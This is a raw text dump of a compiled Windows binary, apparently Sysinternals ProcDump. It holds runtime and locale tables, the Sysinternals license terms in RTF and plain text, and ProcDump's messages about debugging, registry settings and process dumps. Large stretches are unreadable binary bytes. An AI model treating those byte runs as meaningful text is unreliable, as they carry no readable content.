iterator'`managed vector copy constructor iterator'`local static thread guard'operator "" operator co_awaitoperator<=> Type Descriptor' Base Class Descriptor at ( Base Class Array' Class Hierarchy Descriptor' Complete Object Locator'`anonymous namespace'`CCؔCapi-ms-win-core-fibers-l1-1-1api-ms-win-core-synch-l1-2-0kernel32api-ms-FlsAllocFlsFreeFlsGetValueFlsSetValueInitializeCriticalSectionEx(null)(null)mscoree.dllCorExitProcess 5/?GGGwHHHIIIKKKsMMMtOOOuPPPQQQvRRRSSS1!x2@y3#z4${5%|6^}7&~8*9(0)-_=+ qQwWeErRtTyYuUiI oOpP[{]} aAsSdD fF!gG"hH#jJ $kK %lL &;:''"(`~)\|zZ,xX-cC.vV/bB0nN1mM 2,<3.>4/?5*r ;T^h<U_i=V`j>Wak?Xbl@YcmAZdnB[eoC\fpD]gqG7wH8I9-K4s5M6t+O1uP2Q3vR0S. Tc-^k@tFМ, a\)cd4҇f;lDِe,BbE"&'O@V$gmsmrd'c%{pk>_nj f29.EZ%qVJ.C|!@Ί Ą' |Ô%I@T̿aYܫ\ DgR)`*! VG6K]_܀ @َЀk#cd8L2WBJa"=UD~ $s%rс@b;zO]3AOmm!3VV%(w;I-G 8NhU]i<$qE}A'JnWb쪉"f37>,ެdNj5jVg@;*xh2kůid&_U JW {,Ji)Ǫv6 UړǚK%v t:H孎cY˗i&>r䴆["93uzKG-wn@  _l%Bɝ s|-Ciu+-,W@zbjUUYԾX1EL9MLy;-"m^8{yrvxyN\lo};obwQ4Y+XW߯_w[R/=OB R E]B.4o?nz(wKgg;ɭVl H[=J6RMq! EJjت|Lu<@rd 6x)Q9%0+L ;<(wXC=sF|bt!ۮ.P9B4Ҁy7P,=87MsgmQĢR:#שsDp:RRN/M׫ Ob{!@fu)/wdq=v/}fL3. iLs&`@< q!-7ڊ1BALlȸ|Rabڇ3ah𔽚j-6zƞ) ?IϦw#[/r5D¨N2Lɭ3v2!L.2>p6\BF8҇i>o@@w,=q/ cQrFZ**F΍$'#+GK ŎQ1VÎX/4Bycg6fvPbag ;s?.❲ac*&pa%¹u !,`j;҉s}`+i7$fnIoۍut^6n16B(Ȏy$dAՙ,C瀢.=k=yICyJ"pפldNnEtTWtøBncW[5laQۺNPqc+/ޝ"^̯p?m- }oi^,dH94X<H'W&|.ڋu;-Hm~$P  %-5 > H R ] i u -C Y p        %  d'@Bʚ;minkernel\crts\ucrt\inc\corecrt_internal_strtox.h__crt_strtox::floating_point_value::as_double_is_double__crt_strtox::floating_point_value::as_float!_is_doubleINFinfINITYinityNANnanINFinfINITYinityNANnanSNAN)snan)IND)ind)SNAN)snan)IND)ind)        ! 5A CPR S WY l m pr  )   Y*    RBBRBfBmAmABNBBBBBBjBʸBtBmABmAύBBmAyB_BmACCCCCCCCCCCCCCCCINFinfNANnanNAN(SNAN)nan(snan)NAN(IND)nan(ind)e+000CCCCCCCCCCȫCԫCCCCCCCCC CCCCC C$C,C8C@CCHCPCXC`ClCtCCCCCCCCȬCЬCجCCCCCCC(C?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ ((((( H ( 0CONIN$ccsUTF-8UTF-16LEUNICODECCCCja-JPzh-CNko-KRzh-TWuk01#INF1#QNAN1#SNAN1#INDxCCCCCCCC C C C C CCCCCCCC C(C0C8C@CHCPCXC`ChC pC!xC"(C#C$C%C&C'C)C*C+C,C-C/C6C7C8C9C>C?C@CACCCD CF(CG0CI8CJ@CKHCNPCOXCP`CVhCWpCZxCeCLQDCCCCCCCC C C C CC CCCC$C0CC?C@CACCCDCE(CF4CG@CILCJXCKdCLpCN|COCPCRCVCWCZCeCkClCCCCC (C 4C @CLCXCdCpC|CC,C;C>CCCkC C C C C (C 4C @C; XCk dCtCCC C C CC;CCCC C C C C;8CHC TC `C lCxC;CC C CC;C C C C; C$ C $,C $8C;$DC(TC (`C (lC,xC ,C ,C0C 0C 0C4C 4C 4C8C 8C<C <C@C @ C D,C H8C LDC PPC|\C|lCarbgcazh-CHScsdadeelenesfifrhehuisitjakonlnoplptroruhrsksqsvthtruridbesletlvltfavihyazeumkafkafohimskkkyswuzttpagutateknmrsamnglkoksyrdivar-SAbg-BGca-EScs-CZda-DKde-DEel-GRfi-FIfr-FRhe-ILhu-HUis-ISit-ITnl-NLnb-NOpl-PLpt-BRro-ROru-RUhr-HRsk-SKsq-ALsv-SEth-THtr-TRur-PKid-IDuk-UAbe-BYsl-SIet-EElv-LVlt-LTfa-IRvi-VNhy-AMaz-AZ-Latneu-ESmk-MKtn-ZAxh-ZAzu-ZAaf-ZAka-GEfo-FOhi-INmt-MTse-NOms-MYkk-KZky-KGsw-KEuz-UZ-Latntt-RUbn-INpa-INgu-INta-INte-INkn-INml-INmr-INsa-INmn-MNcy-GBgl-ESkok-INsyr-SYdiv-MVquz-BOns-ZAmi-NZar-IQde-CHen-GBes-MXfr-BEit-CHnl-BEnn-NOpt-PTsr-SP-Latnsv-FIaz-AZ-Cyrlse-SEms-BNuz-UZ-Cyrlquz-ECar-EGzh-HKde-ATen-AUes-ESfr-CAsr-SP-Cyrlse-FIquz-PEar-LYzh-SGde-LUen-CAes-GTfr-CHhr-BAsmj-NOar-DZzh-MOde-LIen-NZes-CRfr-LUbs-BA-Latnsmj-SEar-MAen-IEes-PAfr-MCsr-BA-Latnsma-NOar-TNen-ZAes-DOsr-BA-Cyrlsma-SEar-OMen-JMes-VEsms-FIar-YEen-CBes-COsmn-FIar-SYen-BZes-PEar-JOen-TTes-ARar-LBen-ZWes-ECar-KWen-PHes-CLar-AEes-UYar-BHes-PYar-QAes-BOes-SVes-HNes-NIes-PRzh-CHTsrLQDBC,CqxCCCCCCCCCCCC(C4CC@CLCXCC)dC|CkC!CcCCDC}CCCECCGCCCHCC CCI$C0CCA\C0C7hCC tCNC/Ct@CCCZC COC(CjxCCaCCPCCCQCCRC-CrC1CxHC:CCpC?C,CSC28CyC%DCgC$PCf\CC+hCmtC`C=CPC;CC0CCwCuCUCCCTCCC(C6C~ CCV(CCWC(C8CHC0CXCX8CdCYXC<pC|CCvCHCC[C"CdCCCCCCPCC\lC$C@@loglog10exppowasinacossqrt? |?Q-8>=޶W?0 k8=ޮp? x9=>.ښ?pn5=Yح? Q*=c??b6=Y?T?=>?W!=@-32?Dz=p(?vP(=`?US?>=e?g7=`ŀ'?bͬ/=^s?}#=Jwk?zn=N ָ?LN9=@$"3?5Wg4p6=T?Nv$^)=&?.)<lB?M%=`j?w*= <śm?E2=ެ> ?E=t?? =OQ?w(@ <0?Ac 0=Pyp?dry?=St)?4K >=$?QhBC .=0 ub?-0=?a>-?=?Й,<(lX ?T@b ==P?3h,%=f??# =V ?ߠϡ6=Y?z $=G? $l35=@n?[+3=Rŷ?sdLi==p|?rx"#2=@.?|U2=lԝ?rF=a? 4=Y?sl׼#{ =`~R=?.i1=,? =vX?=p?h}s"= E[ ?%S#[k=7H?j=!V1?}a2=jq?20J5=?5=x¾/@?"B <1=iz?\-!y!=X0z?~b>==:? #.X'=HBO&?(~=xbb? .=Cq?y7i9+= v?:=0 ?2ض8=xPD?X1=??Q?Q?????????]?]?P?P? ? ?U?U?(?(?`?`?_?_?????z?z?1?1?p?p???(e?(e?@#?@#???`?`?hk?hk?,?,?x?x?????N?N?x?x?p?p???~?~?HN?HN???????p?p?Xi?Xi???????????8?8?s?s?pI?pI?&?&?????o?o? *? *???`?`?Z?Z???0?0???PY?PY???`?`???pm?pm?/?/??????@CDC4C8CCC!CHC PCCCXCCC C C CCCCCCCC"C#C$C%C&Csinhcoshtanhatanatan2sincostanceilfloorfabsmodfldexp_cabs_hypotfmodfrexp_y0_y1_yn_logb_nextafterO__ProcDump External QuitProcDump-%uDxCC0ChCC(CdCCCCXCC@CCCXC8CCC(CxCC0CCPCCC8CCCHD DhDD`D0DXDDD D D D DD8D`D|DDQD{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\fnil\fcharset0 Calibri;}}{\colortbl ;\red0\green0\blue255;\red0\green0\blue0;}{\*\generator Riched20 10.0.10240}\viewkind4\uc1 \pard\brdrb\brdrs\brdrw10\brsp20 \sb120\sa120\b\f0\fs24 SYSINTERNALS SOFTWARE LICENSE TERMS\fs28\par\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Sysinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab updates,\par\pard\fi-363\li720\sb120\sa120\'b7\tab supplements,\par\'b7\tab Internet-based services, and \par\'b7\tab support services\par\pard\sb120\sa120 for this software, unless other terms accompany those items. If so, those terms apply.\par\b BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.\par\pard\brdrt\brdrs\brdrw10\brsp20 \sb120\sa120 If you comply with these license terms, you have the rights below.\par\pard\fi-357\li357\sb120\sa120\tx360\fs20 1.\tab\fs19 INSTALLATION AND USE RIGHTS. \b0 You may install and use any number of copies of the software on your devices.\b\par\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par\pard\fi-363\li720\sb120\sa120\tx720\b0\'b7\tab work around any technical limitations in the binary versions of the software;\par\pard\fi-363\li720\sb120\sa120\'b7\tab reverse engineer, decompile or disassemble the binary versions of the software, except and only to the extent that applicable law expressly permits, despite this limitation;\par\'b7\tab make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation;\par\'b7\tab publish the software for others to copy;\par\'b7\tab rent, lease or lend the software;\par\'b7\tab transfer the software or this agreement to any third party; or\par\'b7\tab use the software for commercial software hosting services.\par\pard\fi-357\li357\sb120\sa120\tx360\b\fs20 3.\tab SENSITIVE INFORMATION. \b0 Please be aware that, similar to other debug tools that capture \ldblquote process state\rdblquote information, files saved by Sysinternals tools may include personally identifiable or other sensitive information (such as usernames, passwords, paths to files accessed, and paths to registry accessed). By using this software, you acknowledge that you are aware of this and take sole responsibility for any personally identifiable or other sensitive information provided to Microsoft or any other party through your use of the software.\b\par5. \tab\fs19 DOCUMENTATION.\b0 Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.\b\par\caps\fs20 6.\tab\fs19 Export Restrictions\caps0 .\b0 The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see {\cf1\ul{\field{\*\fldinst{HYPERLINK www.microsoft.com/exporting }}{\fldrslt{www.microsoft.com/exporting}}}}\cf1\ul\f0\fs19 <{{\field{\*\fldinst{HYPERLINK "http://www.microsoft.com/exporting"}}{\fldrslt{http://www.microsoft.com/exporting}}}}\f0\fs19 >\cf0\ulnone .\b\par\caps\fs20 7.\tab\fs19 SUPPORT SERVICES.\caps0 \b0 Because this software is "as is, " we may not provide support services for it.\b\par\caps\fs20 8.\tab\fs19 Entire Agreement.\b0\caps0 This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.\par\pard\keepn\fi-360\li360\sb120\sa120\tx360\cf2\b\caps\fs20 9.\tab\fs19 Applicable Law\caps0 .\par\pard\fi-363\li720\sb120\sa120\tx720\cf0\fs20 a.\tab\fs19 United States.\b0 If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.\b\par\pard\fi-363\li720\sb120\sa120\fs20 b.\tab\fs19 Outside the United States.\b0 If you acquired the software in any other country, the laws of that country apply.\b\par\pard\fi-357\li357\sb120\sa120\tx360\caps\fs20 10.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par\fs20 11.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed "as - is." You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par\pard\fi-360\li360\sb120\sa120\tx360\fs20 12.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par\pard\li357\sb120\sa120\b0\caps0 This limitation applies to\par\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and\par\pard\fi-363\li720\sb120\sa120\'b7\tab claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.\par\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par\pard\b Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.\par\pard\sb240\lang1036 Remarque : Ce logiciel \'e9tant distribu\'e9 au Qu\'e9bec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en fran\'e7ais.\par\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par\lang1033 Cette limitation concerne :\par\pard\keepn\fi-360\li720\sb120\sa120\tx720\lang1036\'b7\tab tout ce qui est reli\'e9 au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et\par\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab les r\'e9clamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit\'e9 stricte, de n\'e9gligence ou d'une autre faute dans la limite autoris\'e9e par la loi en vigueur.\par\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par\b EFFET JURIDIQUE.\b0 Le pr\'e9sent contrat d\'e9crit certains droits juridiques. Vous pourriez avoir d'autres droits pr\'e9vus par les lois de votre pays. Le pr\'e9sent contrat ne modifie pas les droits que vous conf\'e8rent les lois de votre pays si celles-ci ne le permettent pas.\b\par\pard\b0\fs20\lang1033\par\pard\sa200\sl276\slmult1\f1\fs22\lang9\par}SYSINTERNALS SOFTWARE LICENSE TERMS These license terms are an agreement between Sysinternals(a wholly owned subsidiary of Microsoft Corporation) and you.Please read them.They apply to the software you are downloading from technet.microsoft.com / sysinternals, which includes the media on which you received it, if any.The terms also apply to any Sysinternals * updates, *supplements, *Internet - based services, *and support services for this software, unless other terms accompany those items.If so, those terms apply. BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS.IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE. If you comply with these license terms, you have the rights below. INSTALLATION AND USER RIGHTS You may install and use any number of copies of the software on your devices. SCOPE OF LICENSE The software is licensed, not sold.This agreement only gives you some rights to use the software.Sysinternals reserves all other rights.Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement.In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways.You may not * work around any technical limitations in the software; *reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation; *make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation; *publish the software for others to copy; *rent, lease or lend the software; *transfer the software or this agreement to any third party; or * use the software for commercial software hosting services. SENSITIVE INFORMATION Please be aware that, similar to other debug tools that capture  process state information, files saved by Sysinternals tools may include personally identifiable or other sensitive information(such as usernames, passwords, paths to files accessed, and paths to registry accessed).By using this software, you acknowledge that you are aware of this and take sole responsibility for any personally identifiable or other sensitive information provided to Microsoft or any other party through your use of the software. DOCUMENTATION Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes. EXPORT RESTRICTIONS The software is subject to United States export laws and regulations.You must comply with all domestic and international export laws and regulations that apply to the software.These laws include restrictions on destinations, end users and end use.For additional information, see www.microsoft.com / exporting . SUPPORT SERVICES Because this software is "as is, " we may not provide support services for it. ENTIRE AGREEMENT This agreement, and the terms for supplements, updates, Internet - based services and support services that you use, are the entire agreement for the software and support services. APPLICABLE LAW United States.If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles.The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort. Outside the United States.If you acquired the software in any other country, the laws of that country apply. LEGAL EFFECT This agreement describes certain legal rights.You may have other rights under the laws of your country.You may also have rights with respect to the party from whom you acquired the software.This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so. DISCLAIMER OF WARRANTY The software is licensed "as - is." You bear the risk of using it.Sysinternals gives no express warranties, guarantees or conditions.You may have additional consumer rights under your local laws which this agreement cannot change.To the extent permitted under your local laws, sysinternals excludes the implied warranties of merchantability, fitness for a particular purpose and non - infringement. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES You can recover from sysinternals and its suppliers only direct damages up to U.S.$5.00.You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages. This limitation applies to * anything related to the software, services, content(including code) on third party Internet sites, or third party programs; and * claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law. It also applies even if Sysinternals knew or should have known about the possibility of the damages.The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages. Please note : As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French. Remarque : Ce logiciel tant distribu au Qubec, Canada, certaines des clauses dans ce contrat sont fournies ci - dessous en franais. EXONRATION DE GARANTIE.Le logiciel vis par une licence est offert tel quel .Toute utilisation de ce logiciel est votre seule risque et pril.Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez bnficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit marchande, d'adquation un usage particulier et d'absence de contrefaon sont exclues. LIMITATION DES DOMMAGES - INTRTS ET EXCLUSION DE RESPONSABILIT POUR LES DOMMAGES.Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement hauteur de 5, 00 $ US.Vous ne pouvez prtendre aucune indemnisation pour les autres dommages, y compris les dommages spciaux, indirects ou accessoires et pertes de bnfices. Cette limitation concerne : tout ce qui est reli au logiciel, aux services ou au contenu(y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers; et les rclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit stricte, de ngligence ou d'une autre faute dans la limite autorise par la loi en vigueur. Elle s'applique galement, mme si Sysinternals connaissait ou devrait connatre l'ventualit d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci - dessus ne s'appliquera pas votre gard. EFFET JURIDIQUE.Le prsent contrat dcrit certains droits juridiques.Vous pourriez avoir d'autres droits prvus par les lois de votre pays. Le prsent contrat ne modifie pas les droits que vous confrent les lois de votre pays si celles-ci ne le permettent pas. Sysinternals License%s License AgreementSoftware\Sysinternals\%sRiched32.dllLicense AgreementMS Shell DlgYou can also use the /accepteula command-line switch to accept the EULA.&Agree&Decline&PrintRICHEDITEulaAcceptedCommandLineToArgvWShell32.dll/accepteula-accepteulaSoftware\Microsoft\windows nt\currentversionProductNameiotuapSoftware\Microsoft\Windows NT\CurrentVersion\Server\ServerLevelsNanoServerAccept Eula (Y/N)?%c %lsThis is the first run of this program. You must accept EULA to continue. Use -accepteula to accept EULA. Software\Sysinternals%s\%s/nobanner-nobannerInternalNameFileVersionFileDescriptionLegalCopyrightCompanyName %s v%s - %s %s %s \StringFileInfo\%04X%04X\%s\VarFileInfo\TranslationAutoDebuggerProcDumpWow6432Node\Error deleting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\ProcDump\ Error deleting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Auto Error deleting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Debugger 1" -accepteula -mt -mm -ma -mp%x -mc -md " -mk -r%ld -at -wer -k -j " %ld %ld %p %ld %ld 0Error setting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Auto Error setting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Debugger Set to: HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug (REG_SZ) Auto = %s (REG_SZ) Debugger = %s ProcDump's backup key is missing. Defaulting to value deletion. HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\ProcDump\ Reset to: (REG_SZ) Auto = <deleted> (REG_SZ) Debugger = <deleted> SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebugError opening HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug Error opening HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug ProcDump Memory CommitGetProcessMemoryInfopsapi.dllCommit: % 7dMb (Trigger)Commit: % 7dMb %lds %s AboveBelowCommit: % 7dMb %s _messageSystem.Exception}uLgI}D{h<4-{h<4-T ^&F োIn=ҷIzC @8 IUnknown::QueryInterface IUnknown::AddRef IUnknown::Release ICorDebugManagedCallback::Breakpoint ICorDebugManagedCallback::StepComplete ICorDebugManagedCallback::Break .BREAKPOINTBreak: %08X%s %08X%s ICorDebugManagedCallback::Exception ICorDebugManagedCallback::EvalComplete ICorDebugManagedCallback::EvalException ICorDebugManagedCallback::CreateProcess ICorDebugManagedCallback::ExitProcess ICorDebugManagedCallback::CreateThread ICorDebugManagedCallback::ExitThread ICorDebugManagedCallback::LoadModule ICorDebugManagedCallback::UnloadModule ICorDebugManagedCallback::LoadClass ICorDebugManagedCallback::UnloadClass ICorDebugManagedCallback::DebuggerError You forgot to call ICorDebugAppDomain::Attach() in ICorDebugManagedCallback::CreateAppDomain! ICorDebugManagedCallback::LogMessage Debug String: %s ICorDebugManagedCallback::LogSwitch ICorDebugManagedCallback::CreateAppDomain ICorDebugAppDomain::Attach ICorDebugManagedCallback::ExitAppDomain ICorDebugManagedCallback::LoadAssembly ICorDebugManagedCallback::UnloadAssembly ICorDebugManagedCallback::ControlCTrap ICorDebugManagedCallback::NameChange ICorDebugManagedCallback::UpdateModuleSymbols ICorDebugManagedCallback::EditAndContinueRemap ICorDebugManagedCallback::BreakpointSetError ICorDebugManagedCallback2::FunctionRemapOpportunity ICorDebugManagedCallback2::CreateConnection ICorDebugManagedCallback2::ChangeConnection ICorDebugManagedCallback2::DestroyConnection ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_FIRST_CHANCE) Exception: %08X.%s ("%s") Exception: %08X.%s %08X.%s ("%s")%08X.%s ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_USER_FIRST_CHANCE) ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_CATCH_HANDLER_FOUND) ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_UNHANDLED) ICorDebugManagedCallback2::ExceptionUnwind ICorDebugManagedCallback2::FunctionRemapComplete ICorDebugManagedCallback2::MDANotification CCorDebugManagedCallback2::Continue(ICorDebugAppDomain) Continue(ICorDebugAppDomain) Failed CCorDebugManagedCallback2::Continue(ICorDebugProcess) Continue(ICorDebugProcess) Failed CCorDebugManagedCallback2::Continue(ICorDebugThread) Continue(ICorDebugThread) Failed CCorDebugManagedCallback2::Continue(ICorDebugController) Continue(ICorDebugController) Failed CCorDebugManagedCallback2::Stop(ICorDebugThread) Stop(ICorDebugThread) Failed &EW@W@W@@P@pP@P@P@Q@T@U@0U@b_o=8u[K5^%\vLF.2F&EC@D@D@D@ E@PE@I@J@0J@`J@J@J@K@0K@`K@K@K@K@PL@M@N@`N@N@N@N@ O@O@O@P@PC@`_o=8u[K5 ICorDebugUnmanagedCallback::DEBUG_EVENT ProcDump In-Band ICorDebugUnmanagedCallback::DEBUG_EVENT ICorDebugProcess->Continue(false) failed. &E0W@W@W@X@ cR/IUnknown exceptionbad array new lengthProcDump CPUNtQuerySystemInformationntdll.dllCPU: %d%% CPU: %d%% %lds %s CPU: %3d%% %s list too longImagehlpApiVersionSymFunctionTableAccess64AccessRoutinesStackWalkExEnumerateLoadedModulesExSymFindDebugInfoFileSymEnumSourceLinesSymEnumProcessesSymGetSourceFileSymEnumLinesEnumDirTreeMiniDumpWriteDumpException: 80000003.BREAKPOINT (Initial) Exception: 80000003.BREAKPOINT (1st after 2nd) Exception: 80000003.BREAKPOINT (2nd after 2nd) Exception: 80000003.BREAKPOINT (Repeat 1st) Exception: %08X%s ("%s") Exception: %08X%s %08X%s ("%s")Exception: 80000003.BREAKPOINT (2nd) Unhandled: %08X%s ("%s") Unhandled: %08X%s Thread Create: TID: %4lu Process Create: PID %4lu Thread Exit: TID %4lu, Exit Code 0x%08x Process Exit: PID %4lu, Exit Code 0x%08x mscorwks.dllclr.dllcoreclr.dllmscorwks.dllclr.dllcoreclr.dllDLL Load: Base Address 0x%p, "%s" DLL Unload: Base Address 0x%p, "%s" Debugger RIP Event .GUARD_PAGE.DATATYPE_MISALIGNMENT.SINGLE_STEP.ACCESS_VIOLATION.ARRAY_BOUNDS_EXCEEDED.FLOAT_DENORMAL_OPERAND.FLOAT_DIVIDE_BY_ZERO.FLOAT_INEXACT_RESULT.FLOAT_INVALID_OPERATION.FLOAT_OVERFLOW.FLOAT_STACK_CHECK.FLOAT_UNDERFLOW.INT_DIVIDE_BY_ZERO.INT_OVERFLOW.PRIV_INSTRUCTION.IN_PAGE_ERROR.ILLEGAL_INSTRUCTION.NONCONTINUABLE_EXCEPTION.STACK_OVERFLOW.INVALID_DISPOSITION.INVALID_HANDLE.CLR.COM.CON.mscߺ E|wb 2ӳ%AH2gH 89/jHFhProcDump DebuggerRtlGetLastNtStatusIsWow64Processkernel32.dll" /x-x-y "" --- Store Application --- Application: %s Applic. PID: %ld Package : %s Command : %s --- Store Package --- Enabled: %s Command: %s Error launching %s: systemWriting a dump for the System process is not supported. SeDebugPrivilegeError opening %s (%d): Error debugging process: The process is already being debugged. Disabled: %s CoInitializeEx - Error %x MSCorEE.dllCLRCreateInstanceGetVersionFromProcessCreateDebuggingInterfaceFromVersionSOFTWARE\Microsoft\.NETFrameworkDbgPackShimPathSOFTWARE\dotnet\Setup\InstalledVersions\x64\sharedhostVersionC:\Program Files\dotnet\shared\Microsoft.NETCore.App\\dbgshim.dlldbgshim.dllEnumerateCLRsCloseCLREnumerationCreateVersionStringFromModuleICLRRuntimeInfo->GetInterface - Error %x (CLR_E_SHIM_LEGACYRUNTIMEALREADYBOUND) ICLRRuntimeInfo->GetInterface - Error %x ICLRRuntimeInfo->GetVersionString - Error %x IUnknown->QueryInterface(ICLRRuntimeInfo) - Error %x IEnumUnknown->Next() - S_OK but IUnknown is NULL! IEnumUnknown->Next() - Error %x (S_FALSE); IUnknown %p IEnumUnknown->Next() - Error %x; IUnknown %p ICLRMetaHost->EnumerateLoadedRuntimes - Error %x CLRCreateInstance(CLSID_CLRMetaHost) - Error %x CreateDebuggingInterfaceFromVersion - Error %x GetVersionFromProcess - Error %x (E_INVALIDARG) - CLR Not Loaded GetVersionFromProcess - Error %x .Net 2.0 is not installed CreateDebuggingInterfaceFromVersionCoreCLR - Error %x (CORDBG_E_DEBUG_COMPONENT_MISSING) CreateDebuggingInterfaceFromVersionCoreCLR - Error %x (CORDBG_E_INCOMPATIBLE_PROTOCOL) CreateDebuggingInterfaceFromVersionCoreCLR - Error %x CoreCLR Version: v%s CLR Version: v%s ICorDebugController->Detach - Error %x (CORDBG_E_PROCESS_NOT_SYNCHRONIZED) ICorDebugController->Detach - Error %x ICorDebugController->Stop - Error %x ICorDebugProcess->QueryInterface(ICorDebugController) - Error %x ICorDebug->DebugActiveProcess - Error %x (CORDBG_E_INCOMPATIBLE_PROTOCOL) CLR 